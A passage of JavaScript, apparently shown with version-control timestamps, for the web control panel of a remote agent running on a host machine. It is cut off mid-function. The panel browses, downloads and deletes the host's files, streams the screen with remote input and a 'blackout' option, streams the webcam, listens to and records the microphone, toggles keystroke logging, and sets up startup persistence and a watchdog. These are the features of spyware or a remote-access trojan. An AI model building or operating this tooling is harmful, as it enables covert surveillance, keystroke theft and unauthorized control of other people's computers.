2026-08-18 16:55:42 +03:00
|
|
|
|
(() => {
|
|
|
|
|
|
const errorEl = document.getElementById("error");
|
|
|
|
|
|
const healthEl = document.getElementById("health");
|
|
|
|
|
|
const statusFields = document.getElementById("status-fields");
|
|
|
|
|
|
const pathInput = document.getElementById("file-path");
|
|
|
|
|
|
const fileMeta = document.getElementById("file-meta");
|
|
|
|
|
|
const fileRows = document.getElementById("file-rows");
|
|
|
|
|
|
const shotGallery = document.getElementById("shot-gallery");
|
|
|
|
|
|
const execOut = document.getElementById("exec-out");
|
|
|
|
|
|
const execMeta = document.getElementById("exec-meta");
|
2026-08-28 12:44:09 +03:00
|
|
|
|
const logMeta = document.getElementById("log-meta");
|
|
|
|
|
|
const logRows = document.getElementById("log-rows");
|
2026-08-28 13:22:59 +03:00
|
|
|
|
const logView = document.getElementById("log-view");
|
|
|
|
|
|
const logViewTitle = document.getElementById("log-view-title");
|
2026-08-18 17:06:20 +03:00
|
|
|
|
const startupState = document.getElementById("startup-state");
|
|
|
|
|
|
const startupAdd = document.getElementById("startup-add");
|
|
|
|
|
|
const startupRemove = document.getElementById("startup-remove");
|
2026-09-02 00:15:37 +03:00
|
|
|
|
const watchdogState = document.getElementById("watchdog-state");
|
|
|
|
|
|
const watchdogEnable = document.getElementById("watchdog-enable");
|
|
|
|
|
|
const watchdogDisable = document.getElementById("watchdog-disable");
|
2026-09-01 23:36:39 +03:00
|
|
|
|
const keylogState = document.getElementById("keylog-state");
|
|
|
|
|
|
const keylogEnable = document.getElementById("keylog-enable");
|
|
|
|
|
|
const keylogDisable = document.getElementById("keylog-disable");
|
2026-08-18 19:12:25 +03:00
|
|
|
|
const videoCanvas = document.getElementById("video-canvas");
|
|
|
|
|
|
const videoMeta = document.getElementById("video-meta");
|
|
|
|
|
|
const videoStart = document.getElementById("video-start");
|
|
|
|
|
|
const videoStop = document.getElementById("video-stop");
|
2026-08-29 18:27:11 +03:00
|
|
|
|
const videoInteract = document.getElementById("video-interact");
|
|
|
|
|
|
const videoKeyHint = document.getElementById("video-key-hint");
|
2026-09-02 13:32:21 +03:00
|
|
|
|
const videoBlackout = document.getElementById("video-blackout");
|
2026-08-29 18:34:05 +03:00
|
|
|
|
const webcamCanvas = document.getElementById("webcam-canvas");
|
|
|
|
|
|
const webcamMeta = document.getElementById("webcam-meta");
|
|
|
|
|
|
const webcamDevice = document.getElementById("webcam-device");
|
|
|
|
|
|
const webcamStart = document.getElementById("webcam-start");
|
|
|
|
|
|
const webcamStop = document.getElementById("webcam-stop");
|
2026-09-02 01:00:09 +03:00
|
|
|
|
const micMeta = document.getElementById("mic-meta");
|
|
|
|
|
|
const micDevice = document.getElementById("mic-device");
|
|
|
|
|
|
const micRows = document.getElementById("mic-rows");
|
|
|
|
|
|
const micListen = document.getElementById("mic-listen");
|
|
|
|
|
|
const micListenStop = document.getElementById("mic-listen-stop");
|
|
|
|
|
|
const micRecord = document.getElementById("mic-record");
|
|
|
|
|
|
const micRecordStop = document.getElementById("mic-record-stop");
|
2026-08-18 16:55:42 +03:00
|
|
|
|
|
|
|
|
|
|
let objectUrls = [];
|
2026-08-18 19:12:25 +03:00
|
|
|
|
let videoRunning = false;
|
2026-08-28 13:22:59 +03:00
|
|
|
|
let videoTabActive = false;
|
2026-08-29 18:34:05 +03:00
|
|
|
|
let webcamRunning = false;
|
2026-09-02 01:00:09 +03:00
|
|
|
|
let micListening = false;
|
|
|
|
|
|
let micRecording = false;
|
|
|
|
|
|
let micTabActive = false;
|
|
|
|
|
|
let micAudioCtx = null;
|
|
|
|
|
|
let nextPlayTime = 0;
|
2026-08-28 13:22:59 +03:00
|
|
|
|
let selectedLogName = "";
|
2026-08-18 19:12:25 +03:00
|
|
|
|
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
|
2026-09-01 20:17:06 +03:00
|
|
|
|
let currentListen = "";
|
2026-08-18 16:55:42 +03:00
|
|
|
|
|
|
|
|
|
|
function showError(message) {
|
|
|
|
|
|
errorEl.textContent = message || "";
|
|
|
|
|
|
errorEl.classList.toggle("show", Boolean(message));
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function readError(res) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
return data.error || res.statusText;
|
|
|
|
|
|
} catch {
|
|
|
|
|
|
return res.statusText || "request failed";
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function api(url, options) {
|
|
|
|
|
|
showError("");
|
|
|
|
|
|
const res = await fetch(url, options);
|
|
|
|
|
|
if (!res.ok) {
|
|
|
|
|
|
throw new Error(await readError(res));
|
|
|
|
|
|
}
|
|
|
|
|
|
return res;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-09-02 01:00:09 +03:00
|
|
|
|
async function apiNoContent(url, options) {
|
|
|
|
|
|
showError("");
|
|
|
|
|
|
const res = await fetch(url, options);
|
|
|
|
|
|
if (res.status === 204) {
|
|
|
|
|
|
return res;
|
|
|
|
|
|
}
|
|
|
|
|
|
if (!res.ok) {
|
|
|
|
|
|
throw new Error(await readError(res));
|
|
|
|
|
|
}
|
|
|
|
|
|
return res;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-18 16:55:42 +03:00
|
|
|
|
function formatBytes(n) {
|
|
|
|
|
|
if (n < 1024) return `${n} B`;
|
|
|
|
|
|
const units = ["KB", "MB", "GB", "TB"];
|
|
|
|
|
|
let value = n / 1024;
|
|
|
|
|
|
let i = 0;
|
|
|
|
|
|
while (value >= 1024 && i < units.length - 1) {
|
|
|
|
|
|
value /= 1024;
|
|
|
|
|
|
i += 1;
|
|
|
|
|
|
}
|
|
|
|
|
|
return `${value.toFixed(value >= 10 ? 0 : 1)} ${units[i]}`;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-29 18:26:27 +03:00
|
|
|
|
// ponytail: extension allowlist; browsers that can't render still get a tab (download/blank)
|
|
|
|
|
|
const previewExt = new Set([
|
|
|
|
|
|
"png", "jpg", "jpeg", "gif", "webp", "svg", "bmp", "ico",
|
|
|
|
|
|
"pdf",
|
|
|
|
|
|
"txt", "log", "csv", "json", "xml", "html", "htm", "css", "js", "md",
|
|
|
|
|
|
"mp4", "webm", "ogg", "mp3", "wav",
|
|
|
|
|
|
]);
|
|
|
|
|
|
|
|
|
|
|
|
function isPreviewable(filename) {
|
|
|
|
|
|
const i = String(filename).lastIndexOf(".");
|
|
|
|
|
|
if (i < 0) return false;
|
|
|
|
|
|
return previewExt.has(String(filename).slice(i + 1).toLowerCase());
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-18 16:55:42 +03:00
|
|
|
|
function joinPath(base, name) {
|
|
|
|
|
|
if (!base) return name;
|
|
|
|
|
|
if (/[\\/]$/.test(base)) return base + name;
|
|
|
|
|
|
return `${base}\\${name}`;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function parentPath(path) {
|
|
|
|
|
|
const trimmed = String(path || "").replace(/[\\/]+$/, "");
|
|
|
|
|
|
const idx = Math.max(trimmed.lastIndexOf("\\"), trimmed.lastIndexOf("/"));
|
|
|
|
|
|
if (idx <= 2) return trimmed.slice(0, 3);
|
|
|
|
|
|
return trimmed.slice(0, idx);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function revokeShots() {
|
|
|
|
|
|
for (const url of objectUrls) URL.revokeObjectURL(url);
|
|
|
|
|
|
objectUrls = [];
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function loadHealth() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const res = await api("/health");
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
healthEl.textContent = data.status === "ok" ? "online" : data.status;
|
|
|
|
|
|
healthEl.className = "badge ok";
|
|
|
|
|
|
} catch (err) {
|
|
|
|
|
|
healthEl.textContent = "offline";
|
|
|
|
|
|
healthEl.className = "badge bad";
|
|
|
|
|
|
showError(err.message);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function loadStatus() {
|
|
|
|
|
|
const res = await api("/api/v1/status");
|
|
|
|
|
|
const data = await res.json();
|
2026-09-01 23:36:39 +03:00
|
|
|
|
const verEl = document.getElementById("app-version");
|
|
|
|
|
|
if (verEl && data.agent_version) {
|
|
|
|
|
|
verEl.textContent = data.agent_version;
|
|
|
|
|
|
}
|
2026-08-18 16:55:42 +03:00
|
|
|
|
const fields = [
|
|
|
|
|
|
["Hostname", data.hostname],
|
|
|
|
|
|
["User", data.user],
|
|
|
|
|
|
["OS", data.os],
|
|
|
|
|
|
["Architecture", data.architecture],
|
|
|
|
|
|
["Version", data.agent_version],
|
|
|
|
|
|
["Listen", data.listen_address],
|
|
|
|
|
|
["Uptime", `${data.uptime_seconds}s`],
|
|
|
|
|
|
["Local IPs", (data.local_ips || []).join(", ") || "—"],
|
2026-08-18 17:06:20 +03:00
|
|
|
|
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
2026-09-02 00:15:37 +03:00
|
|
|
|
["Watchdog", data.watchdog_enabled ? "enabled" : "disabled"],
|
2026-09-01 23:36:39 +03:00
|
|
|
|
["klogging", data.klogging ? "on" : "off"],
|
2026-08-18 16:55:42 +03:00
|
|
|
|
];
|
2026-08-18 17:06:20 +03:00
|
|
|
|
setStartup(Boolean(data.startup_enabled));
|
2026-09-02 00:15:37 +03:00
|
|
|
|
setWatchdog(Boolean(data.watchdog_enabled));
|
2026-09-01 20:17:06 +03:00
|
|
|
|
currentListen = data.listen_address || "";
|
|
|
|
|
|
syncUpdateMeta();
|
2026-09-01 23:36:39 +03:00
|
|
|
|
loadSettings().catch((err) => showError(err.message));
|
2026-08-18 16:55:42 +03:00
|
|
|
|
statusFields.replaceChildren(
|
2026-08-29 18:37:36 +03:00
|
|
|
|
...fields.map(([label, value]) => {
|
|
|
|
|
|
const item = document.createElement("div");
|
|
|
|
|
|
item.className = "status-item";
|
2026-08-18 16:55:42 +03:00
|
|
|
|
const dt = document.createElement("dt");
|
|
|
|
|
|
dt.textContent = label;
|
|
|
|
|
|
const dd = document.createElement("dd");
|
|
|
|
|
|
dd.textContent = value || "—";
|
2026-08-29 18:37:36 +03:00
|
|
|
|
item.append(dt, dd);
|
|
|
|
|
|
return item;
|
2026-08-18 16:55:42 +03:00
|
|
|
|
})
|
|
|
|
|
|
);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-28 12:52:26 +03:00
|
|
|
|
async function uploadFile(file) {
|
|
|
|
|
|
const dir = pathInput.value.trim();
|
|
|
|
|
|
if (!dir) {
|
|
|
|
|
|
throw new Error("open a folder first");
|
|
|
|
|
|
}
|
|
|
|
|
|
const form = new FormData();
|
|
|
|
|
|
form.set("path", dir);
|
|
|
|
|
|
form.set("file", file);
|
|
|
|
|
|
showError("");
|
|
|
|
|
|
const res = await fetch("/api/v1/upload", { method: "POST", body: form });
|
|
|
|
|
|
if (!res.ok) {
|
|
|
|
|
|
throw new Error(await readError(res));
|
|
|
|
|
|
}
|
|
|
|
|
|
return res.json();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-09-01 20:20:15 +03:00
|
|
|
|
function downloadFolder(fullPath, folderName) {
|
|
|
|
|
|
const link = document.createElement("a");
|
|
|
|
|
|
link.href = `/api/v1/files/zip?path=${encodeURIComponent(fullPath)}`;
|
|
|
|
|
|
link.download = `${folderName}.zip`;
|
|
|
|
|
|
document.body.append(link);
|
|
|
|
|
|
link.click();
|
|
|
|
|
|
link.remove();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-28 13:08:14 +03:00
|
|
|
|
async function deleteFile(fullPath, name) {
|
|
|
|
|
|
if (!confirm(`Delete ${name}?`)) {
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
const query = new URLSearchParams({ path: fullPath });
|
|
|
|
|
|
await api(`/api/v1/files?${query}`, { method: "DELETE" });
|
|
|
|
|
|
await listFiles(pathInput.value.trim());
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-18 16:55:42 +03:00
|
|
|
|
async function listFiles(path) {
|
|
|
|
|
|
const query = new URLSearchParams();
|
|
|
|
|
|
if (path) query.set("path", path);
|
|
|
|
|
|
query.set("depth", "0");
|
|
|
|
|
|
const res = await api(`/api/v1/files?${query}`);
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
pathInput.value = data.path || "";
|
|
|
|
|
|
const entries = data.entries || [];
|
|
|
|
|
|
fileMeta.textContent = `${entries.length} entries`;
|
|
|
|
|
|
fileRows.replaceChildren();
|
|
|
|
|
|
for (const entry of entries) {
|
|
|
|
|
|
const tr = document.createElement("tr");
|
|
|
|
|
|
const name = document.createElement("td");
|
2026-09-01 20:20:15 +03:00
|
|
|
|
const full = joinPath(data.path, entry.name);
|
|
|
|
|
|
if (entry.type === "dir") {
|
|
|
|
|
|
name.className = "name dir";
|
|
|
|
|
|
const label = document.createElement("span");
|
|
|
|
|
|
label.className = "dir-label";
|
|
|
|
|
|
label.textContent = entry.name;
|
|
|
|
|
|
label.addEventListener("click", () => {
|
2026-08-18 16:55:42 +03:00
|
|
|
|
listFiles(full).catch((err) => showError(err.message));
|
2026-09-01 20:20:15 +03:00
|
|
|
|
});
|
|
|
|
|
|
const zipBtn = document.createElement("button");
|
|
|
|
|
|
zipBtn.type = "button";
|
|
|
|
|
|
zipBtn.className = "folder-zip";
|
|
|
|
|
|
zipBtn.textContent = "Download";
|
|
|
|
|
|
zipBtn.title = "Download folder as zip";
|
|
|
|
|
|
zipBtn.addEventListener("click", (event) => {
|
|
|
|
|
|
event.stopPropagation();
|
|
|
|
|
|
downloadFolder(full, entry.name);
|
|
|
|
|
|
});
|
|
|
|
|
|
name.append(label, zipBtn);
|
|
|
|
|
|
} else {
|
|
|
|
|
|
name.className = "name file";
|
|
|
|
|
|
name.textContent = entry.name;
|
|
|
|
|
|
name.addEventListener("click", () => {
|
2026-08-18 16:55:42 +03:00
|
|
|
|
const link = document.createElement("a");
|
|
|
|
|
|
link.href = `/api/v1/download?path=${encodeURIComponent(full)}`;
|
|
|
|
|
|
link.download = entry.name;
|
|
|
|
|
|
document.body.append(link);
|
|
|
|
|
|
link.click();
|
|
|
|
|
|
link.remove();
|
2026-09-01 20:20:15 +03:00
|
|
|
|
});
|
|
|
|
|
|
}
|
2026-08-18 16:55:42 +03:00
|
|
|
|
const type = document.createElement("td");
|
|
|
|
|
|
type.textContent = entry.type;
|
|
|
|
|
|
const size = document.createElement("td");
|
|
|
|
|
|
size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
|
|
|
|
|
|
const modified = document.createElement("td");
|
|
|
|
|
|
modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
|
2026-08-28 13:08:14 +03:00
|
|
|
|
const action = document.createElement("td");
|
2026-08-29 18:26:27 +03:00
|
|
|
|
action.className = "actions";
|
2026-08-28 13:08:14 +03:00
|
|
|
|
const del = document.createElement("button");
|
|
|
|
|
|
del.type = "button";
|
2026-08-29 18:37:36 +03:00
|
|
|
|
del.className = "danger";
|
2026-08-28 13:08:14 +03:00
|
|
|
|
del.textContent = "Delete";
|
|
|
|
|
|
del.addEventListener("click", (event) => {
|
|
|
|
|
|
event.stopPropagation();
|
|
|
|
|
|
deleteFile(full, entry.name).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
action.append(del);
|
2026-08-29 18:26:27 +03:00
|
|
|
|
if (entry.type === "file" && isPreviewable(entry.name)) {
|
|
|
|
|
|
const preview = document.createElement("button");
|
|
|
|
|
|
preview.type = "button";
|
|
|
|
|
|
preview.textContent = "Preview";
|
|
|
|
|
|
preview.addEventListener("click", (event) => {
|
|
|
|
|
|
event.stopPropagation();
|
|
|
|
|
|
const url = `/api/v1/download?path=${encodeURIComponent(full)}&inline=1`;
|
|
|
|
|
|
window.open(url, "_blank", "noopener");
|
|
|
|
|
|
});
|
|
|
|
|
|
action.append(preview);
|
|
|
|
|
|
}
|
2026-08-28 13:08:14 +03:00
|
|
|
|
tr.append(name, type, size, modified, action);
|
2026-08-18 16:55:42 +03:00
|
|
|
|
fileRows.append(tr);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function captureScreen() {
|
|
|
|
|
|
revokeShots();
|
|
|
|
|
|
shotGallery.replaceChildren();
|
|
|
|
|
|
const format = document.getElementById("shot-format").value;
|
|
|
|
|
|
const quality = document.getElementById("shot-quality").value;
|
|
|
|
|
|
const res = await api(`/api/v1/screenshot?format=${encodeURIComponent(format)}&quality=${encodeURIComponent(quality)}`);
|
|
|
|
|
|
const contentType = res.headers.get("content-type") || "";
|
|
|
|
|
|
if (contentType.includes("application/json")) {
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
for (const image of data.images || []) {
|
|
|
|
|
|
addShot(base64Blob(image.data_base64, image.content_type), `Monitor ${image.monitor}`);
|
|
|
|
|
|
}
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
addShot(await res.blob(), "Display");
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function base64Blob(data, contentType) {
|
|
|
|
|
|
const binary = atob(data);
|
|
|
|
|
|
const bytes = new Uint8Array(binary.length);
|
|
|
|
|
|
for (let i = 0; i < binary.length; i += 1) {
|
|
|
|
|
|
bytes[i] = binary.charCodeAt(i);
|
|
|
|
|
|
}
|
|
|
|
|
|
return new Blob([bytes], { type: contentType || "application/octet-stream" });
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function addShot(blob, caption) {
|
|
|
|
|
|
const url = URL.createObjectURL(blob);
|
|
|
|
|
|
objectUrls.push(url);
|
|
|
|
|
|
const figure = document.createElement("figure");
|
|
|
|
|
|
const img = document.createElement("img");
|
|
|
|
|
|
img.src = url;
|
|
|
|
|
|
img.alt = caption;
|
|
|
|
|
|
const figcaption = document.createElement("figcaption");
|
|
|
|
|
|
figcaption.className = "meta";
|
|
|
|
|
|
figcaption.textContent = caption;
|
|
|
|
|
|
figure.append(img, figcaption);
|
|
|
|
|
|
shotGallery.append(figure);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-18 17:06:20 +03:00
|
|
|
|
function setStartup(enabled) {
|
|
|
|
|
|
startupState.textContent = enabled ? "Startup: enabled" : "Startup: disabled";
|
|
|
|
|
|
startupAdd.disabled = enabled;
|
|
|
|
|
|
startupRemove.disabled = !enabled;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-09-02 00:15:37 +03:00
|
|
|
|
function setWatchdog(enabled) {
|
|
|
|
|
|
watchdogState.textContent = enabled ? "Watchdog: enabled" : "Watchdog: disabled";
|
|
|
|
|
|
watchdogEnable.disabled = enabled;
|
|
|
|
|
|
watchdogDisable.disabled = !enabled;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-09-01 23:36:39 +03:00
|
|
|
|
function setKeylog(enabled) {
|
|
|
|
|
|
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
|
|
|
|
|
|
keylogEnable.disabled = enabled;
|
|
|
|
|
|
keylogDisable.disabled = !enabled;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function loadSettings() {
|
|
|
|
|
|
const res = await api("/api/v1/settings");
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
setKeylog(Boolean(data.klogging));
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function setKeylogEnabled(enabled) {
|
|
|
|
|
|
const res = await api("/api/v1/settings", {
|
|
|
|
|
|
method: "PUT",
|
|
|
|
|
|
headers: { "Content-Type": "application/json" },
|
|
|
|
|
|
body: JSON.stringify({ klogging: enabled }),
|
|
|
|
|
|
});
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
setKeylog(Boolean(data.klogging));
|
|
|
|
|
|
loadStatus().catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-18 17:06:20 +03:00
|
|
|
|
async function setStartupEnabled(enabled) {
|
|
|
|
|
|
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
setStartup(Boolean(data.startup_enabled));
|
2026-09-02 00:15:37 +03:00
|
|
|
|
setWatchdog(Boolean(data.watchdog_enabled));
|
|
|
|
|
|
loadStatus().catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function setWatchdogEnabled(enabled) {
|
|
|
|
|
|
const res = await api("/api/v1/watchdog", { method: enabled ? "POST" : "DELETE" });
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
setStartup(Boolean(data.startup_enabled));
|
|
|
|
|
|
setWatchdog(Boolean(data.watchdog_enabled));
|
2026-08-18 17:06:20 +03:00
|
|
|
|
loadStatus().catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-18 19:12:25 +03:00
|
|
|
|
function clamp(value, min, max) {
|
|
|
|
|
|
const n = Number(value);
|
|
|
|
|
|
if (!Number.isFinite(n)) return min;
|
|
|
|
|
|
return Math.min(max, Math.max(min, Math.round(n)));
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function sleep(ms) {
|
|
|
|
|
|
return new Promise((resolve) => setTimeout(resolve, ms));
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function startVideo() {
|
|
|
|
|
|
if (videoRunning) return;
|
|
|
|
|
|
videoRunning = true;
|
|
|
|
|
|
videoStart.disabled = true;
|
|
|
|
|
|
videoStop.disabled = false;
|
|
|
|
|
|
while (videoRunning) {
|
|
|
|
|
|
const started = Date.now();
|
|
|
|
|
|
try {
|
|
|
|
|
|
await pullVideoFrame();
|
|
|
|
|
|
} catch (err) {
|
|
|
|
|
|
showError(err.message);
|
|
|
|
|
|
}
|
|
|
|
|
|
if (!videoRunning) break;
|
|
|
|
|
|
const fps = clamp(document.getElementById("video-fps").value, 1, 15);
|
|
|
|
|
|
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function stopVideo() {
|
|
|
|
|
|
videoRunning = false;
|
|
|
|
|
|
videoStart.disabled = false;
|
|
|
|
|
|
videoStop.disabled = true;
|
2026-08-28 13:11:56 +03:00
|
|
|
|
releaseRemoteModifiers().catch((err) => showError(err.message));
|
2026-08-18 19:12:25 +03:00
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-29 18:34:05 +03:00
|
|
|
|
async function refreshWebcams() {
|
|
|
|
|
|
const res = await api("/api/v1/webcam");
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
const devices = data.devices || [];
|
|
|
|
|
|
const prev = webcamDevice.value;
|
|
|
|
|
|
webcamDevice.replaceChildren();
|
|
|
|
|
|
if (!devices.length) {
|
|
|
|
|
|
const opt = document.createElement("option");
|
|
|
|
|
|
opt.value = "";
|
|
|
|
|
|
opt.textContent = "No webcams found";
|
|
|
|
|
|
webcamDevice.append(opt);
|
|
|
|
|
|
webcamMeta.textContent = "No capture devices";
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
for (const device of devices) {
|
|
|
|
|
|
const opt = document.createElement("option");
|
|
|
|
|
|
opt.value = String(device.index);
|
|
|
|
|
|
opt.textContent = `${device.index}: ${device.name}${device.version ? ` (${device.version})` : ""}`;
|
|
|
|
|
|
webcamDevice.append(opt);
|
|
|
|
|
|
}
|
|
|
|
|
|
if ([...webcamDevice.options].some((o) => o.value === prev)) {
|
|
|
|
|
|
webcamDevice.value = prev;
|
|
|
|
|
|
}
|
|
|
|
|
|
webcamMeta.textContent = `${devices.length} device(s)`;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function pullWebcamFrame() {
|
|
|
|
|
|
const device = webcamDevice.value;
|
|
|
|
|
|
if (device === "") throw new Error("no webcam selected");
|
|
|
|
|
|
const quality = clamp(document.getElementById("webcam-quality").value, 1, 100);
|
|
|
|
|
|
const res = await api(
|
|
|
|
|
|
`/api/v1/webcam/frame?device=${encodeURIComponent(device)}&format=jpeg&quality=${encodeURIComponent(quality)}`
|
|
|
|
|
|
);
|
|
|
|
|
|
const blob = await res.blob();
|
|
|
|
|
|
const bitmap = await createImageBitmap(blob);
|
|
|
|
|
|
if (webcamCanvas.width !== bitmap.width || webcamCanvas.height !== bitmap.height) {
|
|
|
|
|
|
webcamCanvas.width = bitmap.width;
|
|
|
|
|
|
webcamCanvas.height = bitmap.height;
|
|
|
|
|
|
}
|
|
|
|
|
|
webcamCanvas.getContext("2d").drawImage(bitmap, 0, 0);
|
|
|
|
|
|
const w = Number(res.headers.get("X-Webcam-Width") || bitmap.width);
|
|
|
|
|
|
const h = Number(res.headers.get("X-Webcam-Height") || bitmap.height);
|
|
|
|
|
|
webcamMeta.textContent = `${w}×${h} · device ${device}`;
|
|
|
|
|
|
bitmap.close();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function startWebcam() {
|
|
|
|
|
|
if (webcamRunning) return;
|
|
|
|
|
|
webcamRunning = true;
|
|
|
|
|
|
webcamStart.disabled = true;
|
|
|
|
|
|
webcamStop.disabled = false;
|
|
|
|
|
|
while (webcamRunning) {
|
|
|
|
|
|
const started = Date.now();
|
|
|
|
|
|
try {
|
|
|
|
|
|
await pullWebcamFrame();
|
|
|
|
|
|
} catch (err) {
|
|
|
|
|
|
showError(err.message);
|
|
|
|
|
|
}
|
|
|
|
|
|
if (!webcamRunning) break;
|
|
|
|
|
|
const fps = clamp(document.getElementById("webcam-fps").value, 1, 10);
|
|
|
|
|
|
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function stopWebcam() {
|
|
|
|
|
|
webcamRunning = false;
|
|
|
|
|
|
webcamStart.disabled = false;
|
|
|
|
|
|
webcamStop.disabled = true;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-09-02 01:00:09 +03:00
|
|
|
|
function sleep(ms) {
|
|
|
|
|
|
return new Promise((resolve) => setTimeout(resolve, ms));
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function setMicControls() {
|
|
|
|
|
|
micListen.disabled = micListening;
|
|
|
|
|
|
micListenStop.disabled = !micListening;
|
|
|
|
|
|
micRecord.disabled = micRecording;
|
|
|
|
|
|
micRecordStop.disabled = !micRecording;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function refreshMics() {
|
|
|
|
|
|
const res = await api("/api/v1/mic");
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
const devices = data.devices || [];
|
|
|
|
|
|
const prev = micDevice.value;
|
|
|
|
|
|
micDevice.replaceChildren();
|
|
|
|
|
|
if (!devices.length) {
|
|
|
|
|
|
const opt = document.createElement("option");
|
|
|
|
|
|
opt.value = "";
|
|
|
|
|
|
opt.textContent = "No microphones found";
|
|
|
|
|
|
micDevice.append(opt);
|
|
|
|
|
|
micMeta.textContent = "No capture devices";
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
for (const dev of devices) {
|
|
|
|
|
|
const opt = document.createElement("option");
|
|
|
|
|
|
opt.value = String(dev.index);
|
|
|
|
|
|
opt.textContent = `${dev.index}: ${dev.name}`;
|
|
|
|
|
|
micDevice.append(opt);
|
|
|
|
|
|
}
|
|
|
|
|
|
if ([...micDevice.options].some((o) => o.value === prev)) {
|
|
|
|
|
|
micDevice.value = prev;
|
|
|
|
|
|
}
|
|
|
|
|
|
micMeta.textContent = `${devices.length} device(s)`;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function pullMicChunk() {
|
|
|
|
|
|
const device = micDevice.value;
|
|
|
|
|
|
if (device === "") throw new Error("no microphone selected");
|
|
|
|
|
|
const res = await fetch(`/api/v1/mic/chunk?device=${encodeURIComponent(device)}`);
|
|
|
|
|
|
if (res.status === 204) return;
|
|
|
|
|
|
if (!res.ok) throw new Error(await readError(res));
|
|
|
|
|
|
const buf = await res.arrayBuffer();
|
|
|
|
|
|
if (!buf.byteLength) return;
|
|
|
|
|
|
if (!micAudioCtx) {
|
|
|
|
|
|
micAudioCtx = new AudioContext();
|
|
|
|
|
|
}
|
|
|
|
|
|
if (micAudioCtx.state === "suspended") {
|
|
|
|
|
|
await micAudioCtx.resume();
|
|
|
|
|
|
}
|
|
|
|
|
|
let audioBuf;
|
|
|
|
|
|
try {
|
|
|
|
|
|
audioBuf = await micAudioCtx.decodeAudioData(buf.slice(0));
|
|
|
|
|
|
} catch {
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
const src = micAudioCtx.createBufferSource();
|
|
|
|
|
|
src.buffer = audioBuf;
|
|
|
|
|
|
src.connect(micAudioCtx.destination);
|
|
|
|
|
|
const now = micAudioCtx.currentTime;
|
|
|
|
|
|
const start = Math.max(now, nextPlayTime);
|
|
|
|
|
|
src.start(start);
|
|
|
|
|
|
nextPlayTime = start + audioBuf.duration;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function runMicListen() {
|
|
|
|
|
|
if (micListening) return;
|
|
|
|
|
|
micListening = true;
|
|
|
|
|
|
nextPlayTime = 0;
|
|
|
|
|
|
setMicControls();
|
|
|
|
|
|
